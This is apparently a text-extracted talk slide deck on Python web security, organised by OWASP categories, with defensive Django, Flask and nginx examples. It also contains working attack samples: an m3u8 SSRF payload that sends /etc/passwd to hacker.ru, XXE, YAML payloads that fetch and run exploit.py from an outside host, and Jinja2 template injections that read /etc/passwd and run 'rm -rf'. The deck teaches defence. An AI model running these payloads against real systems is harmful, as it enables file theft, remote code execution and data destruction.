(Un)safe Python

(Un)safe Python
Tsyganov Ivan
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✤ Absolutely hate
frontend

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconﬁguration
A7 Insufﬁcient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

A9
Using Components with
Known Vulnerabilities
✤ Server Side Request Forgery (SSRF)
✤ Local ﬁle read

A9
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd
#EXT-X-ENDLIST
#EXTM3U
#EXTINF:,
http://hacker.ru/reciever?

A9
#EXTM3U
#EXTINF:10.0,
concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd
#EXT-X-ENDLIST
#EXTM3U
#EXTINF:,
http://hacker.ru/reciever?
127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever?
nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/falsenroot:*:
0:0:System%20;Administrator:/var/root:/bin/shn HTTP/1.1" 200 -
https: //habrahabr.ru/company/mailru/blog/274855/

A9
https: // www.cvedetails.com/product/18211/Djangoproject-Django.html

A9
http: // www.cvedetails.com/product/18230/Python-Python.html

A9
Buffer overflow in the socket.recvfrom_into function in Modules/
socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and
3.4.x before 3.4rc1 allows remote attackers to execute arbitrary
code via a crafted string.
Publish Date : 2014-02-28
CVE-2014-1912

A9
✤ Changelogs
✤ http://www.cvedetails.com/
✤ http://www.securitylab.ru/
✤ https://twitter.com/CVEnew/

A7
Insufficient Attack
Protection
✤ Bruteforce
✤ Undetected admin access
✤ Security scanner usage

A7
Insufficient Attack
Protection
✤ Bruteforce
✤ Undetected admin access
✤ Security scanner usage
✤ … and other attacks

A7
Attack protection
Django
✤ Logs all logins
✤ Applies rate limits
✤ Supports blacklists
✤ …
django-defender
https://github.com/kencochrane/django-defender

A7
INSTALLED_APPS = ( 
'django.contrib.admin', 
'django.contrib.auth', 
'django.contrib.contenttypes', 
'django.contrib.sessions', 
'django.contrib.sites', 
..., 
'defender', 
)
 
MIDDLEWARE_CLASSES = ( 
'django.middleware.common.CommonMiddleware', 
'django.contrib.sessions.middleware.SessionMiddleware', 
'django.contrib.auth.middleware.AuthenticationMiddleware', 
'defender.middleware.FailedLoginMiddleware' 
)
Attack protection
Django-defenger

A7
 
urlpatterns = patterns( 
(r'^admin/', include(admin.site.urls)), 
(r'^admin/defender/', include('defender.urls')),
) 
Attack protection
Django-defenger

A7
Attack protection
Flask
ﬂask-security
https://github.com/mattupstate/ﬂask-security
✤ Session based authentication
✤ Role management
✤ Password hashing
✤ …

A7
class Role(db.Model, RoleMixin): 
. . .
 
class User(db.Model, UserMixin):
. . .
 
user_datastore = SQLAlchemyUserDatastore(
db, User, Role) 
security = Security(app, user_datastore) 
 
Attack protection
Flask-Security

A7
Attack protection
Flask-Security

A7
 
class User(db.Model, UserMixin): 
id = db.Column(db.Integer, primary_key=True) 
email = db.Column(db.String(255), unique=True) 
password = db.Column(db.String(255)) 
active = db.Column(db.Boolean()) 
confirmed_at = db.Column(db.DateTime()) 
failed_login_attempts = db.Column(db.Integer(), default=0)
Attack protection
Flask-Security

A7
class SecureLoginForm(LoginForm): 
captcha = RecaptchaField() 
 
def show_captcha(self): 
return self.user and self.user.failed_login_attempts > 4 
 
def validate(self): 
self.user = _datastore.get_user(self.email.data) 
if not self.user: 
return False 
 
if not self.show_captcha(): 
del self._fields['captcha'] 
 
result = super().validate() 
if not result: 
self.user.failed_login_attempts += 1 
else: 
self.user.failed_login_attempts = 0 
_datastore.put(self.user) 
_datastore.commit() 
return result
Attack protection
Flask-Security

A7
{% from "security/_macros.html" import render_field_with_errors, render_field %} 
{% include "security/_messages.html" %} 
<h1>Login </h1> 
<form action="{{ url_for_security('login') }}" method="POST"
name="login_user_form"> 
{{ login_user_form.hidden_tag() }} 
{{ render_field_with_errors(login_user_form.email) }} 
{{ render_field_with_errors(login_user_form.password) }} 
{{ render_field_with_errors(login_user_form.remember) }} 
{% if login_user_form.show_captcha() %}
{{ render_field_with_errors(login_user_form.captcha) }}
{% endif %}
{{ render_field(login_user_form.next) }} 
{{ render_field(login_user_form.submit) }} 
</form> 
{% include "security/_menu.html" %}
Attack protection
Flask-Security

A7
app.config['SECURITY_LOGIN_USER_TEMPLATE'] = 'login.html' 
app.config['RECAPTCHA_PUBLIC_KEY'] = 'XXXXXXXXXXXXXXXXX' 
app.config['RECAPTCHA_PRIVATE_KEY'] = 'XXXXXXXXXXXXXXXX'
. . .
 
security = Security(
app, user_datastore, login_form=SecureLoginForm) 
Attack protection
Flask-Security

A7
import logging 
from flask import request 
from flask_login import user_logged_in 
 
 
logger = logging.getLogger(__name__) 
 
def log_login(sender, user): 
logger.info(
'User %s logged in from %s',
(user.email, request.remote_addr)
) 
 
user_logged_in.connect(log_login) 
Attack protection
Flask-Security

A7
Attack protection
Web Application Firewall

A7
Attack protection
/profile?name=<script>alert(1)</script>

A7
Attack protection
/profile?name=<script>alert(1)</script>
WAF

A7
Insufficient Attack
Protection
✤Write and analyse logs
✤Use Web Application Firewall
✤Block hacking attempts

A5 Security Misconfiguration
✤ Default settings in production

A5
Security Misconfiguration
Used default settings

✤ Traceback messages in production

A5
Hacker see traceback
@app.errorhandler(404) 
def page_not_found(e): 
template = ''' 
Dear {username}, following page not found: 
<h3>{url} </h3> 
'''.format(username=current_user.name, url=request.url) 
return render_template_string(template), 404

@app.errorhandler(404) 
def page_not_found(e): 
template = ''' 
Dear {username}, following page not found: 
<h3>{url} </h3> 
'''.format(username=current_user.name, url=request.url) 
return render_template_string(template), 404 
A5
Hacker see traceback

✤ Traceback messages in production
✤ Conﬁguration errors

root /your/django/project;
location / {
proxy_pass http: //django_backend;
}

root /your/django/project;
location / {
try_files $uri @django;
}
location @django {
}

GET http: //yoursite.com/manage.py
$ tree /your/django/project
|
+ -- media
+---- style.css
+ -- application
+---- __init__.py
+---- settings.py
+---- urls.py
+---- wsgi.py
+ -- manage.py

location /media {
alias /your/django/project/media;
}
location /static {
alias /your/django/project/static;
}
location / {
}

rewrite ^/(.*)/some$ /$1/ last;

. . .
location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ {
internal;
proxy_pass $p_proto://$p_host/$p_path ;
proxy_set_header Host $p_host;
}

https: //your_site.com/proxy/https/evil.com/login/some
internal;
}

https: //your_site.com/proxy/https/evil.com/login/some
https: //evil.com/login
internal;
}

https: //github.com/yandex/gixy
✤ Server Side Request Forgery
✤ HTTP Splitting
✤ Problems with referrer/origin validation
✤ Redeﬁning of response headers by"add_header" directive
✤ Request's Host header forgery
✤ none in valid_referers
✤ Multiline response headers
GIXY

✤ Read documentation
✤ Use tools to check your conﬁgs
✤ Separate production/development env

Injection
XML
A1
from lxml import etree 
user_xml = '''<?xml version="1.0"?> 
<notifications> 
<messages>disabled </messages> 
<call>enabled </call> 
</notifications> 
''' 
tree = etree.fromstring(user_xml) 
for setting in tree.xpath('/notifications /*'): 
if setting.text not in ('enabled', 'disabled'): 
raise ValueError( 
"Incorrect value '{}'".format(value) 
) 
. . .

Injection
XML
A1
 
<!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]> 
<notifications> 
<messages>&passwd; </messages> 
</notifications> 
'''
"Incorrect value ‘{}’".format(value) 
) 
. . .

Injection. XML.A1
 
<notifications> 
</notifications> 
'''
) 
. . .
Traceback (most recent call last):
File «pycon_example.py", line 53, in <module>
"Incorrect value '{}'".format(setting.text)
ValueError: Incorrect value ' ##
# User Database
#
# Note that this file is consulted directly only when the
system is running
# in single-user mode. At other times this information is
provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional
information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

Injection
XML
A1
 
<notifications> 
</notifications> 
'''
tree = etree.fromstring( 
user_xml, parser=etree.XMLParser(resolve_entities=False) 
)
"Incorrect value '{}'".format(value)

Injection. XML.A1
 
<notifications> 
</notifications> 
'''
) 
. . .
Traceback (most recent call last):
File "pycon_example.py", line 53, in <module>
"Incorrect value '{}'".format(setting.text)
ValueError: Incorrect value 'None'

https: //hackerone.com/reports/99279

Injection
YAML
A1
user_input = ''' 
key: value 
''' 
data = yaml.load(user_input)

Injection
YAML
A1
user_input = ''' 
key: value 
''' 
{'key': 'value'}

Injection
YAML
A1
user_input = ''' 
key: !!python/name:yaml.__version__ 
''' 

Injection
YAML
A1
user_input = ''' 
''' 
{'key': '3.11'}

Injection
YAML
A1
user_input = ''' 
key: !!python/object/apply:subprocess.check_output 
args: 
- ['ping', 'ptsecurity.com', '-c 1'] 
''' 

Injection. YAML.A1
import yaml 
user_input = ''' 
key: value 
''' 
{'key': b'''
PING ptsecurity.com (109.238.242.125): 56 data bytes
64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms
--- ptsecurity.com ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms
'''}

Injection
YAML
A1
user_input = ''' 
args: 
- - 'curl' 
- '-o' 
- '/tmp/xxx.py' 
- ‘http: //coolhacker.com/exploit.py'
key2: !!python/object/apply:os.system 
args: 
- 'python /tmp/xxx.py' 
'''

Injection. YAML.A1
user_input = ''' 
args: 
- - 'curl' 
- '-o' 
- '/tmp/xxx.py' 
- ‘http: //coolhacker.com/exploit.py'
key2: !!python/object/apply:os.system 
args: 
- 'python3 /tmp/xxx.py’ 
'''
> curl http: //target.com:8000/cat%20/etc/passwd
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

Injection
YAML
A1
Loading YAML
Warning: It is not safe to call yaml.load with
any data received from an untrusted source!
yaml.load is as powerful as pickle.load and so
may call any Python function. Check the
yaml.safe_load function though.

Injection
YAML
A1
user_input = ''' 
''' 
data = yaml.safe_load(user_input)

Injection
YAML
A1
user_input = ''' 
''' 
data = yaml.safe_load(user_input)
yaml.constructor.ConstructorError: could not determine a constructor for the tag
'tag:yaml.org,2002:python/name:yaml.__version__'
in "<unicode string>", line 1, column 6:
key: !!python/name:yaml.__version__

Injection
Templates
A1
from flask import render_template_string 
user = 'Admin'
template = 'Hello, %s!' % user 
render_template_string(template)

Injection
Templates
A1
user = "{{ '' }}" 
template = 'Hello, {}!'.format(user)

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, !

Injection
Templates
A1
user = "{{ ''.__class__ }}" 

user = "{{''}}"
Hello, <class 'str'>!

Injection
Templates
A1
user = "{{ ''.__class__.__base__.__subclasses__() }}" 

user = "{{''}}"
Hello, [
<class 'property'>,
<class 'operator.itemgetter'>,
<class 'builtin_function_or_method'>,
<class '_thread._localdummy'>,
<class 'flask.sessions.SessionMixin'>,
<class 'inspect._empty'>,
<class 'click.parser.OptionParser'>,
<class '_frozen_importlib_external.FileLoader'>,
<class 'itsdangerous.Serializer'>,
<class 'tarfile._StreamProxy'>,
<class 'codeop.CommandCompiler'>,
<class 'werkzeug.wrappers.AcceptMixin'>,
<class 'codecs.StreamRecoder'>,
<class 'fieldnameiterator'>,
<class 'ctypes.CDLL'>,
…

user = "{{''}}"
Hello, [
<class 'property'>,
<class 'operator.itemgetter'>,
<class 'builtin_function_or_method'>,
<class '_thread._localdummy'>,
<class 'flask.sessions.SessionMixin'>,
<class 'inspect._empty'>,
<class 'click.parser.OptionParser'>,
<class '_frozen_importlib_external.FileLoader'>,
<class 'itsdangerous.Serializer'>,
<class 'tarfile._StreamProxy'>,
<class 'codeop.CommandCompiler'>,
<class 'werkzeug.wrappers.AcceptMixin'>,
<class 'codecs.StreamRecoder'>,
<class 'fieldnameiterator'>,
<class ‘ctypes.CDLL’>,
…

Injection
Templates
A1
user = """ 
{% for item in x.__class__.__base__.__subclasses__() %} 
{% if item.__name__ == 'FileLoader' %} 
{{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}} 
{% endif %} 
{% endfor %} 
""" 
 

user = "{{''}}"
Hello, [
. . .
'# Open Directory.n',
' ##n',
'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/
falsen',
'root:*:0:0:System Administrator:/var/root:/bin/shn',
. . .
]

Injection
Templates
A1
user = """ 
{% for item in x.__class__.__base__.__subclasses__() %} 
{% if item.__name__ == 'FileLoader' %} 
{{ 
item.__hash__.__globals__['__builtins__']['eval']("
 
__import__('os').system('rm -rf . /*', shell=True) 
") 
}} 
{% endif %} 
{% endfor %}
""" 
 
template = 'Hello, {}!’.format(user)

Injection
Templates
A1
template = Template("Hello, {{ user }}.") 
template.render(
Context({"user": "Admin"})
)
return render_template_string(
'Hello, {{ user }}.',
user='Admin'
)

https: //hackerone.com/reports/125980

Injection
str.format
A1
CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}
class LogEntry: 
def __init__(self, id, time, msg): 
self.id = id 
self.time = time 
self.msg = msg 
 
def format_log(format_, value): 
assert isinstance(value, LogEntry),  
'value must be LogEntry' 
 
return format_.format(entry=value)

Injection
str.format
A1
entry = LogEntry(
id=1, time=time.time(), msg='System loaded') 
print(format_log('{entry.id}: {entry.msg}', entry)) 
>>> 1: System loaded

Injection
str.format
A1
entry = LogEntry(
print(format_log(
'{entry.__init__.__globals__[CONFIG]}', entry
)) 
>>>

Injection
str.format
A1
entry = LogEntry(
print(format_log(
'{entry.__init__.__globals__[CONFIG]}', entry
)) 
>>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}

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